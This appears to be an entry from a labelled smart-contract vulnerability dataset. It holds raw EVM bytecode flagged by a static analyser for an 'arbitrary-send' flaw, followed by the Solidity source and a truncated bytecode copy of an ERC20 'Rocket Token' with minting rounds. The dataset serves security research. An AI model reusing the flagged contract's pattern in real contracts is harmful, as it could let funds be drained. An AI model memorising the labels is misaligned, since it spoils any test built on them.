35611436565b34156104b757600080fd5b6101bd600160a060020a0360043516611658565b34156104d657600080fd5b6101bd6004356116aa565b34156104ec57600080fd5b6101bd600160a060020a03600435166116d8565b341561050b57600080fd5b6105136117a8565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390f35b341561054957600080fd5b6101bd600160a060020a03600435166117c7565b341561056857600080fd5b610237611933565b341561057b57600080fd5b6101bd600435600160a060020a0360243516611942565b341561059d57600080fd5b6102376119d5565b34156105b057600080fd5b6101d26119e4565b34156105c357600080fd5b6101d26004356119ed565b34156105d957600080fd5b6101bd60043560243560443560643560ff6084351660a43560c435611a02565b341561060457600080fd5b6103f8611aa4565b341561061757600080fd5b6103f8611aaa565b341561062a57600080fd5b610237611ab0565b341561063d57600080fd5b6103f8600160a060020a0360043516611abf565b341561065c57600080fd5b6103f8600160a060020a0360043581169060243516604435606435611b70565b6000805433600160a060020a0390811691161461069857600080fd5b600f805460ff191660019081179091557f7d7f00509dd73ac4449f698ae75ccc797895eff5fa9d446d3df387598a26e73590604051901515815260200160405180910390a15060015b90565b6000805433600160a060020a0390811691161461070057600080fd5b600160a060020a03821660009081526003602052604090205460ff16151561072757600080fd5b50600160a060020a0381166000908152600360205260408120805460ff191690555b6005548110156108505781600160a060020a031660058281548110151561076c57fe5b600091825260209091200154600160a060020a031614156108485760058054600019810190811061079957fe5b60009182526020909120015460058054600160a060020a0390921691839081106107bf57fe5b60009182526020909120018054600160a060020a031916600160a060020a039290921691909117905560058054906107fb906000198301611f4d565b507f5611bf3e417d124f97bf2c788843ea8bb502b66079fbee02158ef30b172cb762826000604051600160a060020a039092168252151560208201526040908101905180910390a1610850565b600101610749565b5050565b60005433600160a060020a0390811691161461086f57600080fd5b600160a060020a038116151561088457600080fd5b600b8054600160a060020a031916600160a060020a0392909216919091179055565b600154600160a060020a031681565b6108bd611f71565b600480548060200260200160405190810160405280929190818152602001828054801561091357602002820191906000526020600020905b8154600160a060020a031681526001909101906020018083116108f5575b5050505050905090565b60005433600160a060020a0390811691161461093857600080fd5b6001811161094557600080fd5b600c55565b60005433600160a060020a0390811691161461096557600080fd5b612710811061097357600080fd5b601155565b60005433600160a060020a0390811691161461099357600080fd5b82600160a060020a031663a9059cbb828460006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156109f057600080fd5b6102c65a03f11515610a0157600080fd5b505050604051805190501515610a1657600080fd5b7f72cb8a894ddb372ceec3d2a7648d86f17d5a15caae0e986c53109b8a9a9385e6838383604051600160a060020a03938416815260208101929092529091166040808301919091526060909101905180910390a1505050565b60005433600160a060020a03908116911614610a8a57600080fd5b600160a060020a03811660009081526003602052604090205460ff1615610ab057600080fd5b60055460329010610ac057600080fd5b7f5611bf3e417d124f97bf2c788843ea8bb502b66079fbee02158ef30b172cb762816001604051600160a060020a039092168252151560208201526040908101905180910390a1600160a060020a0381166000908152600360205260409020805460ff191660019081179091556005805490918101610b3f8382611f4d565b5060009182526020909120018054600160a060020a031916600160a060020a0392909216919091179055565b600a54600160a060020a031681565b600754600160a060020a031681565b60005433600160a060020a03908116911614610ba457600080fd5b80600d600085856040516c01000000000000000000000000600160a060020a039384168102825291909216026014820152602801604051908190039020815260208101919091526040908101600020805460ff1916921515929092179091557fd5fd5351efae1f4bb760079da9f0ff9589e2c3e216337ca9d39cdff573b245c49084908490849051600160a060020a0393841681529190921660208201529015156040808301919091526060909101905180910390a1610c6383611ba2565b505050565b600160a060020a03331660009081526002602052604081205460ff161515610c8f57600080fd5b600d600085846040516c01000000000000000000000000600160a060020a039384168102825291909216026014820152602801604051908190039020815260208101919091526040016000205460ff161515610cea57600080fd5b600160a060020a03841673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415610d4557600160a060020a03821683156108fc0284604051600060405180830381858888f193505050501515610d4057600080fd5b610dc8565b83600160a060020a031663a9059cbb838560006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610da257600080fd5b6102c65a03f11515610db357600080fd5b505050604051805190501515610dc857600080fd5b7fb67719fc33c1f17d31bf3a698690d62066b1e0bae28fcd3c56cf2c015c2863d6848484604051600160a060020a03938416815260208101929092529091166040808301919091526060909101905180910390a15060019392505050565b600160a060020a03331660009081526003602052604081205460ff161515610e4d57600080fd5b600f805460ff191690557f7d7f00509dd73ac4449f698ae75ccc797895eff5fa9d446d3df387598a26e7356000604051901515815260200160405180910390a150600190565b600f546000908190819060ff161515610eab57600080fd5b600b5433600160a060020a03908116911614610ec657600080fd5b8315610f4e5760008511610ed957600080fd5b600160a060020a03891673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415610f2957348814610f0a57600080fd5b600754600160a060020a03888116911614610f2457600080fd5b610f4e565b600754600160a060020a038a8116911614610f4357600080fd5b3415610f4e57600080fd5b610f5a89888a88611b70565b915060008211610f6957600080fd5b600160a060020a03891673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1461102f576011546001906127109081038a020403905088600160a060020a03166323b872dd33308460006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b151561100957600080fd5b6102c65a03f1151561101a57600080fd5b50505060405180519050151561102f57600080fd5b600160a060020a03871673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee141561108a57600160a060020a03861682156108fc0283604051600060405180830381858888f19350505050151561108557600080fd5b611128565b60105461271003826127100281151561109f57fe5b04600101905086600160a060020a031663a9059cbb878360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561110257600080fd5b6102c65a03f1151561111357600080fd5b50505060405180519050151561112857600080fd5b33600160a060020a03167fea9415385bae08fe9f6dc457b02577166790cde83bb18cc340aac6cb81b824de8a8a8a868b604051600160a060020a039586168152602081019490945291841660408085019190915260608401919091529216608082015260a001905180910390a250600198975050505050505050565b600e5481565b60005433600160a060020a039081169116146111c557600080fd5b600160a060020a03811615156111da57600080fd5b6001547f3b81caf78fa51ecbc8acb482fd7012a277b428d9b80f9d156e8a54107496cc4090600160a060020a0316604051600160a060020a03909116815260200160405180910390a160018054600160a060020a031916600160a060020a0392909216919091179055565b600854600160a060020a031681565b60015433600160a060020a0390811691161461126f57600080fd5b6001546000547f65da1cfc2c2e81576ad96afb24a581f8e109b7a403b35cbd3243a1c99efdb9ed91600160a060020a039081169116604051600160a060020a039283168152911660208201526040908101905180910390a16001805460008054600160a060020a0319908116600160a060020a03841617909155169055565b60005433600160a060020a0390811691161461130957600080fd5b600160a060020a038116151561131e57600080fd5b7f3b81caf78fa51ecbc8acb482fd7012a277b428d9b80f9d156e8a54107496cc4081604051600160a060020a03909116815260200160405180910390a16000547f65da1cfc2c2e81576ad96afb24a581f8e109b7a403b35cbd3243a1c99efdb9ed908290600160a060020a0316604051600160a060020a039283168152911660208201526040908101905180910390a160008054600160a060020a031916600160a060020a0392909216919091179055565b6113d8611f71565b600580548060200260200160405190810160405280929190818152602001828054801561091357602002820191906000526020600020908154600160a060020a031681526001909101906020018083116108f5575050505050905090565b6000806000806000806000806000600f60009054906101000a900460ff1615156114635760009850611648565b600854600160a060020a0316151561147e5760009850611648565b6114866117a8565b600c54939b509199509750955043908901116114a55760009850611648565b600854600160a060020a03166359e02dd76000604051604001526040518163ffffffff1660e060020a0281526004016040805180830381600087803b15156114ec57600080fd5b6102c65a03f115156114fd57600080fd5b5050506040518051906020018051955090935050831580611527575069d3c21bcecceda100000083115b156115355760009850611648565b73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee600160a060020a038e1614801561156e5750600754600160a060020a038d81169116145b1561159c5785670de0b6b3a7640000683635c9adc5dea0000085025b0481151561159457fe5b049150611602565b600754600160a060020a038e811691161480156115d5575073eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee600160a060020a038d16145b156115f9576103e8836ec097ce7bc90715b34b9f1000000000870281151561158a57fe5b60009850611648565b69d3c21bcecceda100000082111561161d5760009850611648565b6116298d8d8d85611b70565b9050806116358d611abf565b10156116445760009850611648565b8198505b5050505050505050949350505050565b60005433600160a060020a0390811691161461167357600080fd5b600160a060020a038116151561168857600080fd5b60088054600160a060020a031916600160a060020a0392909216919091179055565b60005433600160a060020a039081169116146116c557600080fd5b61271081106116d357600080fd5b601055565b60005433600160a060020a039081169116146116f357600080fd5b600160a060020a03811660009081526002602052604090205460ff161561171957600080fd5b6004546032901061172957600080fd5b7f091a7a4b85135fdd7e8dbc18b12fabe5cc191ea867aa3c2e1a24a102af61d58b816001604051600160a060020a039092168252151560208201526040908101905180910390a1600160a060020a0381166000908152600260205260409020805460ff191660019081179091556004805490918101610b3f8382611f4d565b6000806000806117b9600e54611c65565b929791965094509092509050565b6000805433600160a060020a039081169116146117e357600080fd5b600160a060020a03821660009081526002602052604090205460ff16151561180a57600080fd5b50600160a060020a0381166000908152600260205260408120805460ff191690555b6004548110156108505781600160a060020a031660048281548110151561184f57fe5b600091825260209091200154600160a060020a0316141561192b5760048054600019810190811061187c57fe5b60009182526020909120015460048054600160a060020a0390921691839081106118a257fe5b60009182526020909120018054600160a060020a031916600160a060020a03929092169190911790556004805460001901906118de9082611f4d565b507f091a7a4b85135fdd7e8dbc18b12fabe5cc191ea867aa3c2e1a24a102af61d58b826000604051600160a060020a039092168252151560208201526040908101905180910390a1610850565b60010161182c565b600b54600160a060020a031681565b60005433600160a060020a0390811691161461195d57600080fd5b600160a060020a03811682156108fc0283604051600060405180830381858888f19350505050151561198e57600080fd5b7fec47e7ed86c86774d1a72c19f35c639911393fe7c1a34031fdbd260890da90de8282604051918252600160a060020a031660208201526040908101905180910390a15050565b600954600160a060020a031681565b600f5460ff1681565b600d6020526000908152604090205460ff1681565b600080600080611a106117a8565b92965090945092509050828a11611a2657600080fd5b600c5443908c0111611a3757600080fd5b438b1115611a4457600080fd5b611a7d8b8b8b8b604051808581526020018481526020018381526020018281526020019450505050506040518091039020888888611cb9565b1515611a8857600080fd5b611a948b8b8b8b611d4f565b600e555050505050505050505050565b60105481565b60115481565b600054600160a060020a031681565b6000600160a060020a03821673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415611af75750600160a060020a03301631611b6b565b81600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515611b4e57600080fd5b6102c65a03f11515611b5f57600080fd5b50505060405180519150505b919050565b6000806000611b7e86611df0565b9150611b8987611df0565b9050611b9785828487611eb4565b979650505050505050565b600160a060020a03811673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415611be857600160a060020a038116600090815260066020526040902060129055611c62565b80600160a060020a031663313ce5676000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515611c2e57600080fd5b6102c65a03f11515611c3f57600080fd5b5050506040518051600160a060020a038316600090815260066020526040902055505b50565b67ffffffffffffffff81811692680100000000000000008304821692700100000000000000000000000000000000810483169278010000000000000000000000000000000000000000000000009091041690565b6000806001868686866040516000815260200160405260006040516020015260405193845260ff90921660208085019190915260408085019290925260608401929092526080909201915160208103908084039060008661646e5a03f11515611d2157600080fd5b505060206040510351600160a060020a031660009081526002602052604090205460ff169695505050505050565b600080680100000000000000008610611d6757600080fd5b680100000000000000008510611d7c57600080fd5b680100000000000000008410611d9157600080fd5b680100000000000000008310611da657600080fd5b505078010000000000000000000000000000000000000000000000008102700100000000000000000000000000000000830268010000000000000000850286171717949350505050565b600080600160a060020a03831673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415611e215760129150611eae565b50600160a060020a038216600090815260066020526040902054801515611eaa5782600160a060020a031663313ce5676000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515611e8857600080fd5b6102c65a03f11515611e9957600080fd5b505050604051805190509150611eae565b8091505b50919050565b60006b204fce5e3e25026110000000851115611ecf57600080fd5b69d3c21bcecceda1000000821115611ee657600080fd5b838310611f195760128484031115611efd57600080fd5b670de0b6b3a7640000858302858503600a0a025b049050611f45565b60128385031115611f2957600080fd5b828403600a0a670de0b6b3a764000002828602811515611f1157fe5b949350505050565b815481835581811511610c6357600083815260209020610c63918101908301611f83565b60206040519081016040526000815290565b6106e191905b80821115611f9d5760008155600101611f89565b50905600a165627a7a72305820fb79d7b62ee8c4bc9a4a06232de453ac76121eaab40aee019be89fd54bba39800029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 1,664 |
0xa40106134c5bf4c41411554e6db99b95a15ed9d8
|
pragma solidity ^0.4.20;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract MintableToken is StandardToken, Ownable, Pausable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
uint256 public maxTokensToMint = 25000000 ether;
uint8 public currentRound = 1;
struct Round {
uint256 total;
bool finished;
bool active;
uint256 issuedTokens;
uint256 startMinimumTime;
}
Round[] rounds;
modifier canMint() {
require(!mintingFinished);
require(rounds[currentRound-1].active);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will recieve the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) whenNotPaused onlyOwner returns (bool) {
require(mintInternal(_to, _amount));
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() whenNotPaused onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
function mintInternal(address _to, uint256 _amount) internal canMint returns (bool) {
require(rounds[currentRound-1].issuedTokens.add(_amount) <= rounds[currentRound-1].total);
require(totalSupply_.add(_amount) <= maxTokensToMint);
totalSupply_ = totalSupply_.add(_amount);
rounds[currentRound-1].issuedTokens = rounds[currentRound-1].issuedTokens.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
}
contract Rock is MintableToken {
string public constant name = "Rocket Token";
string public constant symbol = "ROCK";
bool public transferEnabled = false;
uint8 public constant decimals = 18;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 amount);
function Rock(){
Round memory roundone = Round({total : 4170000 ether, active: true, finished: false, issuedTokens : 0, startMinimumTime: 0});
Round memory roundtwo = Round({total : 6945000 ether, active: false, finished: false, issuedTokens : 0, startMinimumTime: 1534291200 });
Round memory roundthree = Round({total : 13885000 ether, active: false, finished: false, issuedTokens : 0, startMinimumTime: 0});
rounds.push(roundone);
rounds.push(roundtwo);
rounds.push(roundthree);
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint _value) whenNotPaused canTransfer returns (bool) {
require(_to != address(this));
return super.transfer(_to, _value);
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint _value) whenNotPaused canTransfer returns (bool) {
require(_to != address(this));
return super.transferFrom(_from, _to, _value);
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
/**
* @dev Modifier to make a function callable only when the transfer is enabled.
*/
modifier canTransfer() {
require(transferEnabled);
_;
}
/**
* @dev Function to start transfering tokens.
* @return True if the operation was successful.
*/
function enableTransfer() onlyOwner returns (bool) {
transferEnabled = true;
return true;
}
/**
* @dev Function to stop current round.
* @return True if the operation was successful.
*/
function finishRound() onlyOwner returns (bool) {
require(currentRound - 1 < 3);
require(rounds[currentRound-1].active);
uint256 tokensToBurn = rounds[currentRound-1].total.sub(rounds[currentRound-1].issuedTokens);
rounds[currentRound-1].active = false;
rounds[currentRound-1].finished = true;
maxTokensToMint = maxTokensToMint.sub(tokensToBurn);
return true;
}
/**
* @dev Function to start new round.
* @return True if the operation was successful.
*/
function startRound() onlyOwner returns (bool) {
require(currentRound - 1 < 2);
require(rounds[currentRound-1].finished);
if(rounds[currentRound].startMinimumTime > 0){
require(block.timestamp >= rounds[currentRound].startMinimumTime);
}
currentRound ++;
rounds[currentRound-1].active = true;
return true;
}
function getCurrentRoundTotal() constant returns (uint256 total) {
return rounds[currentRound-1].total;
}
function getCurrentRoundIsFinished() constant returns (bool) {
return rounds[currentRound-1].finished;
}
function getCurrentRoundIsActive() constant returns (bool) {
return rounds[currentRound-1].active;
}
function getCurrentRoundMinimumTime() constant returns (uint256) {
return rounds[currentRound-1].startMinimumTime;
}
function getCurrentRoundIssued() constant returns (uint256 issued) {
return rounds[currentRound-1].issuedTokens;
}
}
|
0x606060405260043610610180576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461018557806306fdde03146101b2578063095ea7b31461024057806318160ddd1461029a57806323b872dd146102c3578063313ce5671461033c57806337d054341461036b5780633f4ba83a1461039457806340c10f19146103a95780634cd412d514610403578063547916ea1461043057806355e3f0861461045d5780635c975abb1461048a57806366188463146104b757806370a082311461051157806371b397cf1461055e5780637b6f5a4c1461058b5780637d64bcb4146105b45780638456cb59146105e15780638a19c8bc146105f65780638da5cb5b14610625578063908358481461067a57806395d89b41146106a3578063a9059cbb14610731578063ad381cb71461078b578063d73dd623146107b8578063dd62ed3e14610812578063f1b50c1d1461087e578063f2fde38b146108ab578063f669052a146108e4575b600080fd5b341561019057600080fd5b61019861090d565b604051808215151515815260200191505060405180910390f35b34156101bd57600080fd5b6101c5610920565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102055780820151818401526020810190506101ea565b50505050905090810190601f1680156102325780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561024b57600080fd5b610280600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610959565b604051808215151515815260200191505060405180910390f35b34156102a557600080fd5b6102ad610989565b6040518082815260200191505060405180910390f35b34156102ce57600080fd5b610322600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610993565b604051808215151515815260200191505060405180910390f35b341561034757600080fd5b61034f610a1b565b604051808260ff1660ff16815260200191505060405180910390f35b341561037657600080fd5b61037e610a20565b6040518082815260200191505060405180910390f35b341561039f57600080fd5b6103a7610a5d565b005b34156103b457600080fd5b6103e9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b1d565b604051808215151515815260200191505060405180910390f35b341561040e57600080fd5b610416610bb6565b604051808215151515815260200191505060405180910390f35b341561043b57600080fd5b610443610bc9565b604051808215151515815260200191505060405180910390f35b341561046857600080fd5b610470610dd8565b604051808215151515815260200191505060405180910390f35b341561049557600080fd5b61049d610fac565b604051808215151515815260200191505060405180910390f35b34156104c257600080fd5b6104f7600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610fbf565b604051808215151515815260200191505060405180910390f35b341561051c57600080fd5b610548600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611250565b6040518082815260200191505060405180910390f35b341561056957600080fd5b610571611298565b604051808215151515815260200191505060405180910390f35b341561059657600080fd5b61059e6112e2565b6040518082815260200191505060405180910390f35b34156105bf57600080fd5b6105c761131f565b604051808215151515815260200191505060405180910390f35b34156105ec57600080fd5b6105f46113e7565b005b341561060157600080fd5b6106096114a8565b604051808260ff1660ff16815260200191505060405180910390f35b341561063057600080fd5b6106386114bb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561068557600080fd5b61068d6114e1565b6040518082815260200191505060405180910390f35b34156106ae57600080fd5b6106b661151e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106f65780820151818401526020810190506106db565b50505050905090810190601f1680156107235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561073c57600080fd5b610771600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611557565b604051808215151515815260200191505060405180910390f35b341561079657600080fd5b61079e6115dd565b604051808215151515815260200191505060405180910390f35b34156107c357600080fd5b6107f8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611627565b604051808215151515815260200191505060405180910390f35b341561081d57600080fd5b610868600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611823565b6040518082815260200191505060405180910390f35b341561088957600080fd5b6108916118aa565b604051808215151515815260200191505060405180910390f35b34156108b657600080fd5b6108e2600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061192a565b005b34156108ef57600080fd5b6108f7611a82565b6040518082815260200191505060405180910390f35b600360159054906101000a900460ff1681565b6040805190810160405280600c81526020017f526f636b657420546f6b656e000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff1615151561097757600080fd5b6109818383611a88565b905092915050565b6000600154905090565b6000600360149054906101000a900460ff161515156109b157600080fd5b600760009054906101000a900460ff1615156109cc57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610a0757600080fd5b610a12848484611b7a565b90509392505050565b601281565b600060066001600560009054906101000a900460ff160360ff16815481101515610a4657fe5b906000526020600020906004020160020154905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ab957600080fd5b600360149054906101000a900460ff161515610ad457600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600360149054906101000a900460ff16151515610b3b57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b9757600080fd5b610ba18383611f34565b1515610bac57600080fd5b6001905092915050565b600760009054906101000a900460ff1681565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c2857600080fd5b60036001600560009054906101000a900460ff160360ff16101515610c4c57600080fd5b60066001600560009054906101000a900460ff160360ff16815481101515610c7057fe5b906000526020600020906004020160010160019054906101000a900460ff161515610c9a57600080fd5b610d1760066001600560009054906101000a900460ff160360ff16815481101515610cc157fe5b90600052602060002090600402016002015460066001600560009054906101000a900460ff160360ff16815481101515610cf757fe5b90600052602060002090600402016000015461223d90919063ffffffff16565b9050600060066001600560009054906101000a900460ff160360ff16815481101515610d3f57fe5b906000526020600020906004020160010160016101000a81548160ff021916908315150217905550600160066001600560009054906101000a900460ff160360ff16815481101515610d8d57fe5b906000526020600020906004020160010160006101000a81548160ff021916908315150217905550610dca8160045461223d90919063ffffffff16565b600481905550600191505090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e3657600080fd5b60026001600560009054906101000a900460ff160360ff16101515610e5a57600080fd5b60066001600560009054906101000a900460ff160360ff168154